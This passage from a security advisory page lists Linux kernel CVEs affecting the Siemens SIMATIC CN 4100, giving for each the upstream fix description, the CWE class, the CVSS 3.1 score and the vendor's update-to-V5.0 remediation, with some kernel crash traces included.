0000000000000003 RBP: 00007fff1fd7aa60 R08: 0000000000000010 R09: 000000000000003f R10: 0000560ee9b3a010 R11: 0000000000000202 R12: 00007fff1fd7aae0 R13: 000000006891ccde R14: 0000560ec063e5e0 R15: 00007fff1fd7aad0 [1] https://lore.kernel.org/netdev/e08c7f4a6882f260011909a868311c6e9b54f3e4.1639153474.git.dcaratti@redhat.com/ [2] https://lore.kernel.org/netdev/d912cbd7-193b-4269-9857-525bee8bbb6a@gmail.com/\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.2\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38685\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fbdev: Fix vmalloc out-of-bounds write in fast_imageblit This issue triggers when a userspace program does an ioctl FBIOPUT_CON2FBMAP by passing console number and frame buffer number. Ideally this maps console to frame buffer and updates the screen if console is visible. As part of mapping it has to do resize of console according to frame buffer info. if this resize fails and returns from vc_do_resize() and continues further. At this point console and new frame buffer are mapped and sets display vars. Despite failure still it continue to proceed updating the screen at later stages where vc_data is related to previous frame buffer and frame buffer info and display vars are mapped to new frame buffer and eventully leading to out-of-bounds write in fast_imageblit(). This bheviour is excepted only when fg_console is equal to requested console which is a visible console and updates screen with invalid struct references in fbcon_putcs().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38687\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: fix race between polling and detaching syzbot reports a use-after-free in comedi in the below link, which is due to comedi gladly removing the allocated async area even though poll requests are still active on the wait_queue_head inside of it. This can cause a use-after-free when the poll entries are later triggered or removed, as the memory for the wait_queue_head has been freed. We need to check there are no tasks queued on any of the subdevices' wait queues before allowing the device to be detached by the `COMEDI_DEVCONFIG` ioctl. Tasks will read-lock `dev->attach_lock` before adding themselves to the subdevice wait queue, so fix the problem in the `COMEDI_DEVCONFIG` ioctl handler by write-locking `dev->attach_lock` before checking that all of the subdevices are safe to be deleted. This includes testing for any sleepers on the subdevices' wait queues. It remains locked until the device has been detached. This requires the `comedi_device_detach()` function to be refactored slightly, moving the bulk of it into new function `comedi_device_detach_locked()`. Note that the refactor of `comedi_device_detach()` results in `comedi_device_cancel_all()` now being called while `dev->attach_lock` is write-locked, which wasn't the case previously, but that does not matter. Thanks to Jens Axboe for diagnosing the problem and co-developing this patch.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38691\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: pNFS: Fix uninited ptr deref in block/scsi layout The error occurs on the third attempt to encode extents. When function ext_tree_prepare_commit() reallocates a larger buffer to retry encoding extents, the \"layoutupdate_pages\" page array is initialized only after the retry loop. But ext_tree_free_commitdata() is called on every iteration and tries to put pages in the array, thus dereferencing uninitialized pointers. An additional problem is that there is no limit on the maximum possible buffer_size. When there are too many extents, the client may create a layoutcommit that is larger than the maximum possible RPC size accepted by the server. During testing, we observed two typical scenarios. First, one memory page for extents is enough when we work with small files, append data to the end of the file, or preallocate extents before writing. But when we fill a new large file without preallocating, the number of extents can be huge, and counting the number of written extents in ext_tree_encode_commit() does not help much. Since this number increases even more between unlocking and locking of ext_tree, the reallocated buffer may not be large enough again and again.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-908 Use of Uninitialized Resource\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38693\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: dvb-frontends: w7090p: fix null-ptr-deref in w7090p_tuner_write_serpar and w7090p_tuner_read_serpar In w7090p_tuner_write_serpar, msg is controlled by user. When msg[0].buf is null and msg[0].len is zero, former checks on msg[0].buf would be passed. If accessing msg[0].buf[2] without sanity check, null pointer deref would happen. We add check on msg[0].len to prevent crash. Similar commit: commit 0ed554fd769a (\"media: dvb-usb: az6027: fix null-ptr-deref in az6027_i2c_xfer()\")\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38694\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: dvb-frontends: dib7090p: fix null-ptr-deref in dib7090p_rw_on_apb() In dib7090p_rw_on_apb, msg is controlled by user. When msg[0].buf is null and msg[0].len is zero, former checks on msg[0].buf would be passed. If accessing msg[0].buf[2] without sanity check, null pointer deref would happen. We add check on msg[0].len to prevent crash. Similar issue occurs when access msg[1].buf[0] and msg[1].buf[1]. Similar commit: commit 0ed554fd769a (\"media: dvb-usb: az6027: fix null-ptr-deref in az6027_i2c_xfer()\")\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38695\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Check for hdwq null ptr when cleaning up lpfc_vport structure If a call to lpfc_sli4_read_rev() from lpfc_sli4_hba_setup() fails, the resultant cleanup routine lpfc_sli4_vport_delete_fcp_xri_aborted() may occur before sli4_hba.hdwqs are allocated. This may result in a null pointer dereference when attempting to take the abts_io_buf_list_lock for the first hardware queue. Fix by adding a null ptr check on phba->sli4_hba.hdwq and early return because this situation means there must have been an error during port initialization.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38696\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: MIPS: Don't crash in stack_top() for tasks without ABI or vDSO Not all tasks have an ABI associated or vDSO mapped, for example kthreads never do. If such a task ever ends up calling stack_top(), it will derefence the NULL ABI pointer and crash. This can for example happen when using kunit: mips_stack_top+0x28/0xc0 arch_pick_mmap_layout+0x190/0x220 kunit_vm_mmap_init+0xf8/0x138 __kunit_add_resource+0x40/0xa8 kunit_vm_mmap+0x88/0xd8 usercopy_test_init+0xb8/0x240 kunit_try_run_case+0x5c/0x1a8 kunit_generic_run_threadfn_adapter+0x28/0x50 kthread+0x118/0x240 ret_from_kernel_thread+0x14/0x1c Only dereference the ABI point if it is set. The GIC page is also included as it is specific to the vDSO. Also move the randomization adjustment into the same conditional.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38697\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: upper bound check of tree index in dbAllocAG When computing the tree index in dbAllocAG, we never check if we are out of bounds realative to the size of the stree. This could happen in a scenario where the filesystem metadata are corrupted.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38698\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: Regular file corruption check The reproducer builds a corrupted file on disk with a negative i_size value. Add a check when opening this file to avoid subsequent operation failures.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38699\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: bfa: Double-free fix When the bfad_im_probe() function fails during initialization, the memory pointed to by bfad->im is freed without setting bfad->im to NULL. Subsequently, during driver uninstallation, when the state machine enters the bfad_sm_stopping state and calls the bfad_im_probe_undo() function, it attempts to free the memory pointed to by bfad->im again, thereby triggering a double-free vulnerability. Set bfad->im to NULL if probing fails.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-415 Double Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.4\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38700\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: libiscsi: Initialize iscsi_conn->dd_data only if memory is allocated In case of an ib_fast_reg_mr allocation failure during iSER setup, the machine hits a panic because iscsi_conn->dd_data is initialized unconditionally, even when no memory is allocated (dd_size == 0). This leads invalid pointer dereference during connection teardown. Fix by setting iscsi_conn->dd_data only if memory is actually allocated. Panic trace: ------------ iser: iser_create_fastreg_desc: Failed to allocate ib_fast_reg_mr err=-12 iser: iser_alloc_rx_descriptors: failed allocating rx descriptors / data buffers BUG: unable to handle page fault for address: fffffffffffffff8 RIP: 0010:swake_up_locked.part.5+0xa/0x40 Call Trace: complete+0x31/0x40 iscsi_iser_conn_stop+0x88/0xb0 [ib_iser] iscsi_stop_conn+0x66/0xc0 [scsi_transport_iscsi] iscsi_if_stop_conn+0x14a/0x150 [scsi_transport_iscsi] iscsi_if_rx+0x1135/0x1834 [scsi_transport_iscsi] ? netlink_lookup+0x12f/0x1b0 ? netlink_deliver_tap+0x2c/0x200 netlink_unicast+0x1ab/0x280 netlink_sendmsg+0x257/0x4f0 ? _copy_from_user+0x29/0x60 sock_sendmsg+0x5f/0x70\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38701\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ext4: do not BUG when INLINE_DATA_FL lacks system.data xattr A syzbot fuzzed image triggered a BUG_ON in ext4_update_inline_data() when an inode had the INLINE_DATA_FL flag set but was missing the system.data extended attribute. Since this can happen due to a maiciouly fuzzed file system, we shouldn't BUG, but rather, report it as a corrupted file system. Add similar replacements of BUG_ON with EXT4_ERROR_INODE() ii ext4_create_inline_data() and ext4_inline_data_truncate().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-617 Reachable Assertion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38702\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fbdev: fix potential buffer overflow in do_register_framebuffer() The current implementation may lead to buffer overflow when: 1. Unregistration creates NULL gaps in registered_fb[] 2. All array slots become occupied despite num_registered_fb < FB_MAX 3. The registration loop exceeds array bounds Add boundary check to prevent registered_fb[FB_MAX] access.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38706\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ASoC: core: Check for rtd == NULL in snd_soc_remove_pcm_runtime() snd_soc_remove_pcm_runtime() might be called with rtd == NULL which will leads to null pointer dereference. This was reproduced with topology loading and marking a link as ignore due to missing hardware component on the system. On module removal the soc_tplg_remove_link() would call snd_soc_remove_pcm_runtime() with rtd == NULL since the link was ignored, no runtime was created.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38707\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: Add sanity check for file name The length of the file name should be smaller than the directory entry size.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38708\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drbd: add missing kref_get in handle_write_conflicts With `two-primaries` enabled, DRBD tries to detect \"concurrent\" writes and handle write conflicts, so that even if you write to the same sector simultaneously on both nodes, they end up with the identical data once the writes are completed. In handling \"superseeded\" writes, we forgot a kref_get, resulting in a premature drbd_destroy_device and use after free, and further to kernel crashes with symptoms. Relevance: No one should use DRBD as a random data generator, and apparently all users of \"two-primaries\" handle concurrent writes correctly on layer up. That is cluster file systems use some distributed lock manager, and live migration in virtualization environments stops writes on one node before starting writes on the other node. Which means that other than for \"test cases\", this code path is never taken in real life. FYI, in DRBD 9, things are handled differently nowadays. We still detect \"write conflicts\", but no longer try to be smart about them. We decided to disconnect hard instead: upper layers must not submit concurrent writes. If they do, that's their fault.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38711\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb/server: avoid deadlock when linking with ReplaceIfExists If smb2_create_link() is called with ReplaceIfExists set and the name does exist then a deadlock will happen. ksmbd_vfs_kern_path_locked() will return with success and the parent directory will be locked. ksmbd_vfs_remove_file() will then remove the file. ksmbd_vfs_link() will then be called while the parent is still locked. It will try to lock the same parent and will deadlock. This patch moves the ksmbd_vfs_kern_path_unlock() call to *before* ksmbd_vfs_link() and then simplifies the code, removing the file_present flag variable.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38712\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: don't use BUG_ON() in hfsplus_create_attributes_file() When the volume header contains erroneous values that do not reflect the actual state of the filesystem, hfsplus_fill_super() assumes that the attributes file is not yet created, which later results in hitting BUG_ON() when hfsplus_create_attributes_file() is called. Replace this BUG_ON() with -EIO error with a message to suggest running fsck tool.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38713\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: fix slab-out-of-bounds read in hfsplus_uni2asc() The hfsplus_readdir() method is capable to crash by calling hfsplus_uni2asc(): [ 667.121659][ T9805] ================================================================== [ 667.122651][ T9805] BUG: KASAN: slab-out-of-bounds in hfsplus_uni2asc+0x902/0xa10 [ 667.123627][ T9805] Read of size 2 at addr ffff88802592f40c by task repro/9805 [ 667.124578][ T9805] [ 667.124876][ T9805] CPU: 3 UID: 0 PID: 9805 Comm: repro Not tainted 6.16.0-rc3 #1 PREEMPT(full) [ 667.124886][ T9805] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 667.124890][ T9805] Call Trace: [ 667.124893][ T9805] [ 667.124896][ T9805] dump_stack_lvl+0x10e/0x1f0 [ 667.124911][ T9805] print_report+0xd0/0x660 [ 667.124920][ T9805] ? __virt_addr_valid+0x81/0x610 [ 667.124928][ T9805] ? __phys_addr+0xe8/0x180 [ 667.124934][ T9805] ? hfsplus_uni2asc+0x902/0xa10 [ 667.124942][ T9805] kasan_report+0xc6/0x100 [ 667.124950][ T9805] ? hfsplus_uni2asc+0x902/0xa10 [ 667.124959][ T9805] hfsplus_uni2asc+0x902/0xa10 [ 667.124966][ T9805] ? hfsplus_bnode_read+0x14b/0x360 [ 667.124974][ T9805] hfsplus_readdir+0x845/0xfc0 [ 667.124984][ T9805] ? __pfx_hfsplus_readdir+0x10/0x10 [ 667.124994][ T9805] ? stack_trace_save+0x8e/0xc0 [ 667.125008][ T9805] ? iterate_dir+0x18b/0xb20 [ 667.125015][ T9805] ? trace_lock_acquire+0x85/0xd0 [ 667.125022][ T9805] ? lock_acquire+0x30/0x80 [ 667.125029][ T9805] ? iterate_dir+0x18b/0xb20 [ 667.125037][ T9805] ? down_read_killable+0x1ed/0x4c0 [ 667.125044][ T9805] ? putname+0x154/0x1a0 [ 667.125051][ T9805] ? __pfx_down_read_killable+0x10/0x10 [ 667.125058][ T9805] ? 